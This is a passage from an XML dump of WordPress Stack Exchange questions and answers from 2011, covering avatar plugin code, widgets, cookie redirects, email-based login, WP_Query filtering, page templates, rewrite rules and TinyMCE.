{&#xA;        remove_action('get_avatar', array($this, 'get_avatar'));&#xA;        return $avatar_defaults;&#xA;    }&#xA;&#xA;    function avatar_delete($user_id) {&#xA;        $old_avatars = get_user_meta($user_id, 'simple_local_avatar', true);&#xA;        $upload_path = wp_upload_dir();&#xA;        if (is_array($old_avatars)) {&#xA;            foreach ($old_avatars as $old_avatar) {&#xA;                $old_avatar_path = str_replace($upload_path['baseurl'], $upload_path['basedir'], $old_avatar);&#xA;                @unlink($old_avatar_path);&#xA;            }&#xA;        }&#xA;        delete_user_meta($user_id, 'simple_local_avatar');&#xA;    }&#xA;}&#xA;$simple_local_avatars = new simple_local_avatars;&#xA;&#xA;if (!function_exists('get_simple_local_avatar')):&#xA;    function get_simple_local_avatar($id_or_email, $size = '80', $default = '', $alt = false) {&#xA;        global $simple_local_avatars;&#xA;        return $simple_local_avatars-&amp;gt;get_avatar('', $id_or_email, $size, $default, $alt);&#xA;    }&#xA;endif;&#xA;&#xA;register_uninstall_hook(__FILE__, 'simple_local_avatars_uninstall');&#xA;&#xA;function simple_local_avatars_uninstall() {&#xA;    $simple_local_avatars = new simple_local_avatars;&#xA;    $users = get_users_of_blog();&#xA;    foreach ($users as $user)&#xA;        $simple_local_avatars-&amp;gt;avatar_delete($user-&amp;gt;user_id);&#xA;    delete_option('simple_local_avatars_caps');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried many variants but all of them failed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you please give a hint, what pieces of code I shall copy to my custom frontend template file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much.&lt;/p&gt;&#xA;" OwnerUserId="7616" LastActivityDate="2011-08-30T08:53:29.420" Title="Frontend Simple Local Avatar upload" Tags="&lt;uploads&gt;&lt;front-end&gt;&lt;avatar&gt;" AnswerCount="2" />
  <row Id="24903" PostTypeId="1" CreationDate="2011-08-04T09:01:51.807" Score="-1" ViewCount="9" Body="&lt;p&gt;i am not so smart in php &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i want to create widget area in my template (hook.php)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is default code in my template&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$cat_box = '';&#xA;    $cat_box .= '&amp;lt;div class=&quot;post-author&quot;&amp;gt;'.get_avatar(get_the_author_meta('user_email'), $size = '32').'&amp;lt;/div&amp;gt;';&#xA;    $content = $cat_box.$content;&#xA;    return $content;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i want to add widget area code &#xA;    &lt;code&gt;if ( function_exists('dynamic_sidebar') &amp;amp;&amp;amp; dynamic_sidebar(5) ) : else : endif;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;instead of this code&#xA;&lt;code&gt;.get_avatar(get_the_author_meta('user_email'), $size = '32').'&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="7619" LastActivityDate="2011-08-04T09:01:51.807" Title="related category posts" Tags="&lt;widgets&gt;" />
  <row Id="24904" PostTypeId="2" ParentId="24885" CreationDate="2011-08-04T09:10:48.930" Score="2" ViewCount="" Body="&lt;p&gt;why not use the &lt;code&gt;init&lt;/code&gt; action hook:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function has_my_cookie()&#xA;{&#xA;    if (!is_admin()){&#xA;        //Check to see if our cookie is set if not redirect to your desired page and set the cookie&#xA;        if ( !isset($_COOKIE[&quot;sevisitor&quot;])) {&#xA;            //setcookie&#xA;            setcookie('sevisitor', 1, time()+1209600, &quot;/&quot;, &quot;http://localhost/child/&quot;, false);&#xA;             //Redirect &#xA;            wp_redirect( get_site_url().'/about-myself' ); exit;&#xA;        }&#xA;    }&#xA;}&#xA;add_action('init', 'has_my_cookie');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-04T09:10:48.930" CommentCount="6" />
  <row Id="24905" PostTypeId="2" ParentId="24902" CreationDate="2011-08-04T09:25:25.843" Score="0" ViewCount="" Body="&lt;p&gt;add &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;do_action('show_user_profile');&#xA;do_action('edit_user_profile');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to your custom frontend template&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and when saving add : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;do_action('personal_options_update');&#xA;do_action('edit_user_profile_update');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-04T09:25:25.843" CommentCount="4" />
  <row Id="24906" PostTypeId="2" ParentId="24900" CreationDate="2011-08-04T09:32:21.500" Score="0" ViewCount="" Body="&lt;p&gt;you can create your own custom rss template and create thr loop inside it so you will have easy access to loop only function&lt;/p&gt;&#xA;&#xA;&lt;p&gt;take a look at this answer that shows how to create your custom rss &lt;a href=&quot;http://wordpress.stackexchange.com/questions/22849/how-to-create-additional-full-text-rss-feeds/22863#22863&quot;&gt;How to create additional full text RSS feeds&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-04T09:32:21.500" />
  <row Id="24908" PostTypeId="1" CreationDate="2011-08-04T09:50:33.170" Score="3" ViewCount="54" Body="&lt;p&gt;is it possible to sign in with &lt;strong&gt;user_email&lt;/strong&gt; instead of &lt;strong&gt;user_login&lt;/strong&gt;, please ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2000" LastActivityDate="2011-08-04T10:12:58.220" Title="Is it possible to sign in with user_email in Wordpress?" Tags="&lt;login&gt;&lt;form&gt;&lt;user&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="24911" PostTypeId="2" ParentId="24908" CreationDate="2011-08-04T10:10:56.833" Score="2" ViewCount="" Body="&lt;p&gt;Search and you will find... &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-email-login/&quot; rel=&quot;nofollow&quot;&gt;WP Email Login&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-08-04T10:10:56.833" />
  <row Id="24912" PostTypeId="2" ParentId="24908" CreationDate="2011-08-04T10:12:58.220" Score="2" ViewCount="" Body="&lt;p&gt;Here's how we do it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = get_user_by('email', $email);&#xA;if (wp_check_password($password, $user-&amp;gt;user_pass, $user-&amp;gt;ID)) {&#xA;    // Login successfull, redirect if needed&#xA;    wp_set_auth_cookie($user-&amp;gt;ID);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Assuming of course that you got the $email and the $password variables from a POST request or something :)&lt;/p&gt;&#xA;" OwnerUserId="1316" LastActivityDate="2011-08-04T10:12:58.220" />
  <row Id="24913" PostTypeId="1" CreationDate="2011-08-04T10:17:43.003" Score="0" ViewCount="35" Body="&lt;p&gt;I looking for a simple Wordpress e-commerce plugin which will just associate a downloadable product to a post (here a custom post type) and handle the paiement with Paypal and the download page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a lot of different plugin but they always provide a complex catalog, create a lot of useless page and don't provide a simple way to add in my post a simple &quot;buy now&quot; button which go directly to paiement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you aware of a plugin which can suits me ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cyril.&lt;/p&gt;&#xA;" OwnerUserId="6476" LastActivityDate="2011-09-03T12:40:54.120" Title="the good e-commerce plugin?" Tags="&lt;plugin-recommendation&gt;&lt;e-commerce&gt;" AnswerCount="1" />
  <row Id="24914" PostTypeId="2" ParentId="24896" CreationDate="2011-08-04T10:20:57.433" Score="0" ViewCount="" Body="&lt;p&gt;Try using the &lt;a href=&quot;http://wordpress.org/extend/plugins/regenerate-thumbnails/&quot; rel=&quot;nofollow&quot;&gt;Regenerate Thumbnails&lt;/a&gt; plugin, that will run through all your media and regenerate thumbnails according to the registered image sizes. Also note that that you're getting the hight parameter as 226 because during add_image_size your third parameter said to not crop the image. Change that to true if you need cropping.&lt;/p&gt;&#xA;" OwnerUserId="1316" LastActivityDate="2011-08-04T10:20:57.433" CommentCount="1" />
  <row Id="24915" PostTypeId="1" CreationDate="2011-08-04T10:21:06.887" Score="-1" ViewCount="18" Body="&lt;p&gt;I want to display all the pots in my blog pages in expandable way. I mean all the post title will show in blog page when user clicks on the title the post content will visible with paginated comments. 5 comment will display at a time and then when user click to next button next 5 comments will appear inlne. Can anyone help about the issue? It's urgent.&lt;/p&gt;&#xA;" OwnerUserId="7265" LastActivityDate="2011-08-04T10:21:06.887" Title="display post title onle in blog page" Tags="&lt;posts&gt;&lt;comment&gt;" CommentCount="2" />
  <row Id="24916" PostTypeId="2" ParentId="24913" CreationDate="2011-08-04T10:33:39.763" Score="0" ViewCount="" Body="&lt;p&gt;You may want to consider &lt;a href=&quot;http://cart66.com/&quot; rel=&quot;nofollow&quot;&gt;Cart66&lt;/a&gt;.  I bought a single site license a few weeks back as I was looking for something along a similar line to you.  It doesn't force a bunch of bespoke templates on you, instead, you have to create each product through a custom post (which is what you are doing anyway).  However the big benefit of this is that you have near total control over how your product pages look.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cart66 comes in two flavours - free (&lt;a href=&quot;http://cart66.com/lite/&quot; rel=&quot;nofollow&quot;&gt;Cart66 Lite&lt;/a&gt;) or if you want more features and support you can try one of the site license options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I've found it to be very straightforward and more flexible than a lot of the competition.  Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="7297" LastActivityDate="2011-08-04T10:33:39.763" CommentCount="1" />
  <row Id="24917" PostTypeId="2" ParentId="24877" CreationDate="2011-08-04T10:52:58.900" Score="1" ViewCount="" Body="&lt;p&gt;This tutorial was just published at DevPress by Patrick Carey:&#xA;&lt;a href=&quot;http://devpress.com/blog/how-to-setup-subdomains-for-a-local-wordpress-network/&quot; rel=&quot;nofollow&quot;&gt;http://devpress.com/blog/how-to-setup-subdomains-for-a-local-wordpress-network/&lt;/a&gt;&#xA;It should help you. It has been written for Windows but you should be able to translate it into &quot;Mac&quot;&lt;/p&gt;&#xA;" OwnerUserId="6817" LastActivityDate="2011-08-04T10:52:58.900" />
  <row Id="24919" PostTypeId="1" CreationDate="2011-08-04T11:19:14.700" Score="0" ViewCount="16" Body="&lt;p&gt;When we setup the timezone in wordpress settings page. Does it changes the server time? If I call &lt;code&gt;time();&lt;/code&gt; does it returns unix time according to timezone setup in the settings page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have checked this page here &lt;a href=&quot;http://wordpress.stackexchange.com/questions/8400/how-to-get-wordpress-time-zone-setting&quot;&gt;How to get WordPress Time Zone setting?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if i need to show suppose the current time of a neighborhood site what modification i have to do with the output of &lt;code&gt;time();&lt;/code&gt; function? The php &lt;code&gt;time();&lt;/code&gt; returns the time in the server. So is that depends on where my host belongs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="3094" LastActivityDate="2011-08-04T11:19:14.700" Title="Wordpress time queries" Tags="&lt;php&gt;&lt;timezones&gt;" />
  <row Id="24920" PostTypeId="2" ParentId="10624" CreationDate="2011-08-04T11:50:27.327" Score="0" ViewCount="" Body="&lt;p&gt;Ι like very much bp-chat plugin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can install buddyperss and then BuddyPress Template Pack to embed it on your current theme. You can delete all buddypress files you don't like to use , and keep the bp-chat plugin :) It's very cool &lt;/p&gt;&#xA;" OwnerUserId="7625" LastActivityDate="2011-08-04T11:50:27.327" />
  <row Id="24921" PostTypeId="2" ParentId="20702" CreationDate="2011-08-04T11:53:43.593" Score="4" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;add_filter( 'wp_generate_attachment_metadata', 'delete_fullsize_image' );&#xA;function delete_fullsize_image( $metadata )&#xA;{&#xA;    $upload_dir = wp_upload_dir();&#xA;    $full_image_path = trailingslashit( $upload_dir['basedir'] ) . $metadata['file'];&#xA;    $deleted = unlink( $full_image_path );&#xA;&#xA;    return $metadata;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2264" LastActivityDate="2011-08-04T11:53:43.593" CommentCount="2" />
  <row Id="24922" PostTypeId="1" CreationDate="2011-08-04T12:02:38.970" Score="0" ViewCount="29" Body="&lt;p&gt;I'm trying to use WP_Query for a new selection and the following works fine...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;code&gt;$wp_query-&amp;gt;query(array('post_type' =&amp;gt; 'my_type' , 'post__in' =&amp;gt; explode(',', $found_type_ids) ));&lt;/code&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where &lt;strong&gt;$found_type_ids&lt;/strong&gt; is a list of (comma delimited) ids I have built from another function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would now like to refine the selection with extra criteria such as a particular custom field etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I just add it to the query so that it takes the id list and does the extra checks against them or will it ignore the custom field criteria, as I have already specified a &lt;strong&gt;post__in&lt;/strong&gt; list?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Due to the site requirements I have to use the post__in list, so I cannot use select criteria in the query to get them as this data is not in the post or postsmeta tables) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like any arguments for wp-query are 'or'ed and I need to make the selection 'and'ed for my extra criteria&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts much appreciated :)&lt;/p&gt;&#xA;" OwnerUserId="7626" LastEditorUserId="7626" LastEditorDisplayName="" LastEditDate="2011-08-04T12:27:13.707" LastActivityDate="2011-08-04T12:27:13.707" Title="Multi query select problem" Tags="&lt;wp-query&gt;" />
  <row Id="24924" PostTypeId="1" CreationDate="2011-08-04T12:14:00.983" Score="1" ViewCount="37" Body="&lt;p&gt;I need to change the template on several hundred pages on my site. Does anyone know if there is a command to do it programmatically? See the following code snippet; I'd like to replace my comment inside the loop with a function that will change the template of the current page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query = new WP_Query($args);&#xA;while ( $query-&amp;gt;have_posts() ) : $the_query-&amp;gt;the_post();&#xA;  if ( has_tag('tag-slug') )&#xA;  {&#xA;     /* CHANGE TEMPLATE OF $post */&#xA;  }&#xA;endwhile;&#xA;wp_reset_postdata();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7629" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-08-05T19:33:14.633" LastActivityDate="2011-08-05T19:33:14.633" Title="Programmatically change post templates?" Tags="&lt;templates&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" />
  <row Id="24925" PostTypeId="1" CreationDate="2011-08-04T09:26:46.500" Score="1" ViewCount="33" Body="&lt;p&gt;Is there a way to put the wordpress out of webroot dir, and just leave a entry index.php to the webroot?&lt;/p&gt;&#xA;" LastActivityDate="2011-08-04T12:19:03.027" Title="Is it possible to move wordpress out of webroot?" Tags="&lt;php&gt;&lt;apache&gt;" CommentCount="1" />
  <row Id="24926" PostTypeId="1" AcceptedAnswerId="24937" CreationDate="2011-08-04T12:25:28.980" Score="1" ViewCount="18" Body="&lt;p&gt;Is it a bad idea to set your themename and shortname as variables to be used in the various functions of a theme? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$themename = mytheme;&#xA;$shortname = mth;&#xA;&#xA;/**&#xA; * Get our wp_nav_menu() fallback, wp_page_menu(), to show a home link.&#xA; */&#xA;function toolbox_page_menu_args($args) {&#xA;    // some code&#xA;}&#xA;add_filter( 'wp_page_menu_args', $themename . '_page_menu_args' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7630" LastActivityDate="2011-08-04T13:40:08.697" Title="Using $themename Variables" Tags="&lt;functions&gt;&lt;variables&gt;" AnswerCount="1" />
  <row Id="24927" PostTypeId="2" ParentId="24924" CreationDate="2011-08-04T12:36:44.230" Score="0" ViewCount="" Body="&lt;p&gt;What kinds of formatting are you referring to? If you want to change the formatting that can be changed by css. You can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/post_class&quot; rel=&quot;nofollow&quot;&gt;post_class()&lt;/a&gt; which will add a class naming your tag in the container. Then you can style targeting that class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside the loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div &amp;lt;?php post_class()?&amp;gt; &amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also check the action &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Action_Reference/pre_get_posts&quot; rel=&quot;nofollow&quot;&gt;pre_get_post&lt;/a&gt;; Using it with conditionals might help.&lt;/p&gt;&#xA;" OwnerUserId="3094" LastEditorUserId="3094" LastEditorDisplayName="" LastEditDate="2011-08-04T12:43:15.737" LastActivityDate="2011-08-04T12:43:15.737" />
  <row Id="24929" PostTypeId="1" CreationDate="2011-08-04T12:42:19.013" Score="0" ViewCount="43" Body="&lt;p&gt;having problems with filtering a posts attachments by tag... It worked fine until i added the tag__in arg (and other variations of it).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$vidArgs = array(&#xA;                            'tag__in' =&amp;gt;5,&#xA;                            'post_type' =&amp;gt; 'attachment',&#xA;                            'post_parent' =&amp;gt; $post-&amp;gt;ID,&#xA;                            'post_mime_type'=&amp;gt;'video/quicktime',&#xA;                            'posts_per_page'=&amp;gt;20&#xA;                        );&#xA;&#xA;$videos = get_posts($vidArgs);&#xA;&#xA;foreach ($videos as $vid) { ///....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;pointers / advice appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATES&lt;/strong&gt;&#xA;it is odd. It just doesn't work with media tags! Added &lt;em&gt;testtag&lt;/em&gt; to a post and it comes up.&#xA;There must be a way to get attachments by tags? Otherwise what's the point? The functionality is in wp admin from the Media Tags pane...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$argsc = array(&#xA;    /* 'tag' =&amp;gt; 'commercials,testtag',  */&#xA;    'tag__in' =&amp;gt; array(5,11),&#xA;    'post_type'=&amp;gt;array('post','page','attachment'),&#xA;    'post_status'=&amp;gt;'any',&#xA;    /* 'post_parent'=&amp;gt;$post-&amp;gt;ID, */&#xA;    'posts_per_page'=&amp;gt;20&#xA;);&#xA;&#xA;$the_queryB = get_posts( $argsc);&#xA;&#xA;echo count($the_queryB).&quot;, &amp;lt;pre&amp;gt;&quot;;&#xA;print_r($the_queryB);       &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3978" LastEditorUserId="3978" LastEditorDisplayName="" LastEditDate="2011-08-05T13:14:42.643" LastActivityDate="2011-09-05T01:42:24.300" Title="attachments with tags and get_posts" Tags="&lt;attachments&gt;&lt;tags&gt;&lt;get-posts&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" />
  <row Id="24930" PostTypeId="1" CreationDate="2011-08-04T12:45:53.360" Score="2" ViewCount="45" Body="&lt;p&gt;I have multiple custom post types and I need to be able to query them and page through them. This is the query I am trying:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$paged = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1;&#xA;$offset = ( 10 * $paged ) - 10;&#xA;$args=array('paged'=&amp;gt;$paged, 'posts_per_page'=&amp;gt;10, 'post_type'=&amp;gt;'custom-post-type-name', 'offset' =&amp;gt; $offset);&#xA;query_posts($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've reset the permalinks and I've set the posts per page of WordPress to a lower number than what I'm querying and all I get is a 404 when I go to /page/2/ (my permalinks are set as &lt;code&gt;/%postname%-%post_id%&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's most confusing though is on a separate page the following works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT *, IFNULL(SUM(vote),0) as total FROM wp_posts post LEFT JOIN wp_wdpv_post_votes votes ON votes.post_id = post.ID WHERE post.post_type = 'custom-post-type-name' AND post.post_status = 'publish' AND post.post_date &amp;gt; DATE_SUB(NOW(), INTERVAL 1 DAY) GROUP BY post.ID ORDER BY total DESC LIMIT 0,3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but the following throws up the same 404 problems&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT *, IFNULL(SUM(vote),0) as total FROM wp_terms term JOIN wp_term_taxonomy taxonomy JOIN wp_term_relationships relationship JOIN wp_posts post LEFT JOIN wp_wdpv_post_votes votes ON votes.post_id = post.ID WHERE term.term_id = taxonomy.term_id AND relationship.term_taxonomy_id = taxonomy.term_taxonomy_id AND term.slug = 'games' AND taxonomy.taxonomy = 'category' AND post.ID = relationship.object_id AND post.post_type = 'custom-post-type-name' AND post.post_status = 'publish' AND post.post_date &amp;gt; DATE_SUB(NOW(), INTERVAL 1 DAY) GROUP BY post.ID ORDER BY total DESC LIMIT 0,3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help on this would be gratefully received.&lt;/p&gt;&#xA;" OwnerUserId="7632" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-08-04T13:36:47.280" LastActivityDate="2011-08-04T13:36:47.280" Title="Custom Post Type pagination - normal solutions aren't helping" Tags="&lt;custom-post-types&gt;&lt;pagination&gt;" CommentCount="2" />
  <row Id="24931" PostTypeId="1" CreationDate="2011-08-04T12:52:09.283" Score="0" ViewCount="35" Body="&lt;p&gt;I have a custom taxonomy, which sets the with_front to false to try and get the URLs to look like &lt;code&gt;/%type%/%brand%/%product%/&lt;/code&gt;, degrading as we go down. This however is driving me nuts. Everything in the code works, this works, but it causes every other page on the site to 404. I'd imagine the reason is something like with_front makes it think all requests are for elements of this taxonomy. But I can't work out how to fix it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just FYI, make labels is my lazy function that produces the labels we require for this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_taxonomy ('types','brands',&#xA;   array(&#xA;       'hierarchical' =&amp;gt; false,&#xA;       'labels' =&amp;gt; make_labels('Type'),&#xA;       'show_ui' =&amp;gt; true,&#xA;       'query_var' =&amp;gt; true,&#xA;       'rewrite' =&amp;gt; array( 'with_front' =&amp;gt; false, 'slug' =&amp;gt; false)&#xA;   )&#xA;);&#xA;&#xA;$types = get_terms('types');&#xA;&#xA;foreach($types as $type) {&#xA;    add_rewrite_rule(&quot;^$type-&amp;gt;slug/([^/]*)/([^/]*)/?&quot;,&quot;index.php?hd_types=$type-&amp;gt;slug&amp;amp;brands=\$matches[1]&amp;amp;products=\$matches[2]&quot;,'bottom');&#xA;    add_rewrite_rule(&quot;^$type-&amp;gt;slug/([^/]*)/?&quot;,&quot;index.php?brands=\$matches[1]&amp;amp;types=$type-&amp;gt;slug&quot;,'bottom');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then we create the custom post types brands and products.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Driving me nuts! Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="4159" LastActivityDate="2011-08-16T09:41:00.947" Title="Taxonomy with_front causes all" Tags="&lt;custom-taxonomy&gt;&lt;url-rewriting&gt;&lt;taxonomy&gt;&lt;rewrite-rules&gt;" AnswerCount="1" />
  <row Id="24932" PostTypeId="2" ParentId="14694" CreationDate="2011-08-04T12:53:31.310" Score="1" ViewCount="" Body="&lt;p&gt;The dirty and only way I've founded:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function myplugin_validate_options($input) {&#xA;    var_dump($input);&#xA;    exit;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7634" LastActivityDate="2011-08-04T12:53:31.310" />
  <row Id="24933" PostTypeId="2" ParentId="24924" CreationDate="2011-08-04T13:04:17.873" Score="1" ViewCount="" Body="&lt;p&gt;I take it that you mean saving the pages with a new post-template to the DB? see if there's anything in the post object that refers to the page-template, if so craft a query that updates that.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Update:&lt;/h1&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h2&gt;Taken from the &lt;a href=&quot;https://codex.wordpress.org/Function_Reference/wp_insert_post&quot; rel=&quot;nofollow&quot;&gt;wp_insert_post&lt;/a&gt; documentation&lt;/h2&gt;&#xA;  &#xA;  &lt;p&gt;NOTE: The page_template key was removed from the $post table and is&#xA;  now located in the wp_postmeta table. To set the page template of a&#xA;  page, use update_post_meta instead with a meta key of&#xA;  _wp_page_template.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So you can fetch the page template using &lt;a href=&quot;https://codex.wordpress.org/Function_Reference/get_post_meta&quot; rel=&quot;nofollow&quot;&gt;get_post_meta&lt;/a&gt;, and update it with &lt;a href=&quot;https://codex.wordpress.org/Function_Reference/update_post_meta&quot; rel=&quot;nofollow&quot;&gt;update_post_meta&lt;/a&gt; (Or set it with &lt;a href=&quot;https://codex.wordpress.org/Function_Reference/add_post_meta&quot; rel=&quot;nofollow&quot;&gt;add_post_meta&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="2074" LastEditorUserId="2074" LastEditorDisplayName="" LastEditDate="2011-08-04T13:15:41.623" LastActivityDate="2011-08-04T13:15:41.623" CommentCount="3" />
  <row Id="24934" PostTypeId="2" ParentId="24065" CreationDate="2011-08-04T13:05:56.073" Score="0" ViewCount="" Body="&lt;p&gt;the problem is with your cookies.wp_update_user function is trying to change them after all headers were sent, try to use such code like that:&#xA;function my_func(){&#xA;   // your code&#xA;}&#xA;add_action('init','my_func');&lt;/p&gt;&#xA;" OwnerUserId="7636" LastActivityDate="2011-08-04T13:05:56.073" />
  <row Id="24935" PostTypeId="1" CreationDate="2011-08-04T13:09:25.680" Score="1" ViewCount="44" Body="&lt;p&gt;If I run this code then I no longer get the toolbar but I still get a word count and visual/html tabs and when I save the post my content gets wrapped in &amp;lt;\p&gt; tags.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function() {&#xA;    jQuery('#content').removeClass('theEditor').addClass('mceNoEditor');&#xA;&#xA;    tinyMCE.init({&#xA;      mode: &quot;none&quot;,&#xA;      editor_deselector : &quot;mceNoEditor&quot;      &#xA;    });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is the correct way to keep a textarea and not let tinymce override it?&lt;/p&gt;&#xA;" OwnerUserId="7635" LastActivityDate="2011-08-31T15:45:29.290" Title="How to keep a textarea and stop tinymce?" Tags="&lt;tinymce&gt;" AnswerCount="1" />
  <row Id="24937" PostTypeId="2" ParentId="24926" CreationDate="2011-08-04T13:40:08.697" Score="0" ViewCount="" Body="&lt;p&gt;You can do it easier and without polluting the global namespace: &lt;code&gt;get_option('template');&lt;/code&gt; gives you the (parent) themes name. If you want the child themes name, use &lt;code&gt;get_current_theme();&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also use a constant across your theme files: &lt;code&gt;define( 'YOUR_PREFIX-THEME_NAME', get_current_theme() );&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-08-04T13:40:08.697" CommentCount="1" />
  <row Id="24938" PostTypeId="1" AcceptedAnswerId="24942" CreationDate="2011-08-04T13:40:40.250" Score="0" ViewCount="27" Body="&lt;p&gt;I'm working on a site which is not attached to a domain name yet, so I access to it through an ugly URL like old_server.something.myprovider.co.uk/.../.../&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My provider moved me to a new server so I now have to type : new_server.something.myprovider.co.uk/.../.../&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem is, when trying to access wp-admin, WordPress performs some sort of redirection to the old address and of course it doesn't work anymore. So I can't access the login page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to change the server URL in WordPress without accessing the dashboard ?&lt;/p&gt;&#xA;" OwnerUserId="5915" LastActivityDate="2011-08-04T14:42:53.217" Title="Can't login after my site was moved to a new server" Tags="&lt;urls&gt;&lt;server&gt;" AnswerCount="2" />
